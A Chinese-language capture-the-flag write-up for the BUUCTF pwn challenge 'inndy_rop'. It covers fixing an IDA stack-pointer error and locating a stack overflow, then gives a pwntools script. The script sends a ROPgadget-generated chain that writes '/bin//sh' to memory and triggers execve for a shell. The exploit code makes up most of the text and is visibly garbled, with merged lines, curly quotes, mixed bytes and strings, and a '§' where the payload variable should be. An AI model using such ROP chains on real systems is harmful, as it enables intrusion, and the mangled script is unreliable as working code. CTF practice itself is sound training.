buuctf-pwn-inndy_rop
查看文件保护
32位程序,开启了nx保护。
拖入ida,直接f5会报错
遇到这种情况,点击ida左上角options->general后出现如下图界面后,勾选stack pointer。
然后选中报错地址的上一行,右击,然后点击change stack pointer,出现如下图界面,然后在sp那里的值前面加一个”-“就可以了。然后再按f5.
进行反汇编,进入main函数,只有overflow,进入overflow函数,如下图。发现溢出。但左边列表里只有静态编译的结果,所以这题无法进行常规的泄露libc之类的。
直接用ROPgadget工具,可以直接利用该程序的gadget拼凑连接成rop链。
ROPgadget --binary inndy_rop --ropgadget
在终端输入后,如下图
然后自己构造payload,偏移+ropchain
from pwn import*
from struct import pack
context(os=‘linux’,arch=‘i386’,log_level=‘debug’)
r=remote(“node4.buuoj.cn”,26710)p=b’a’*(0x0c+0x04)
p+=pack(’<I’, 0x0806ecda) # pop edx ; ret
p+=pack(’<I’, 0x080ea060) # @ .data
p+=pack(’<I’, 0x080b8016) # pop eax ; ret
p+=’/bin’
p+=pack(’<I’, 0x0805466b) # mov dword ptr [edx], eax ; ret
p+=pack(’<I’, 0x0806ecda) # pop edx ; ret
p+=pack(’<I’, 0x080ea064) # @ .data + 4
p+=pack(’<I’, 0x080b8016) # pop eax ; ret
p+=’//sh’
p+=pack(’<I’, 0x0805466b) # mov dword ptr [edx], eax ; ret
p+=pack(’<I’, 0x0806ecda) # pop edx ; ret
p+=pack(’<I’, 0x080ea068) # @ .data + 8
p+=pack(’<I’, 0x080492d3) # xor eax, eax ; ret
p+=pack(’<I’, 0x0805466b) # mov dword ptr [edx], eax ; ret
p+=pack(’<I’, 0x080481c9) # pop ebx ; ret
p+=pack(’<I’, 0x080ea060) # @ .data
p+=pack(’<I’, 0x080de769) # pop ecx ; ret
p+=pack(’<I’, 0x080ea068) # @ .data + 8
p+=pack(’<I’, 0x0806ecda) # pop edx ; ret
p+=pack(’<I’, 0x080ea068) # @ .data + 8
p+=pack(’<I’, 0x080492d3) # xor eax, eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0807a66f) # inc eax ; ret
p+=pack(’<I’, 0x0806c943) # int 0x80r.sendline§
r.interactive()